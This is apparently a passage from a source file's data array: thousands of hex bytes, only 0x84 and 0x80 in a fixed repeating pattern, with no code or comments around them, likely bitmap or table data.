0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 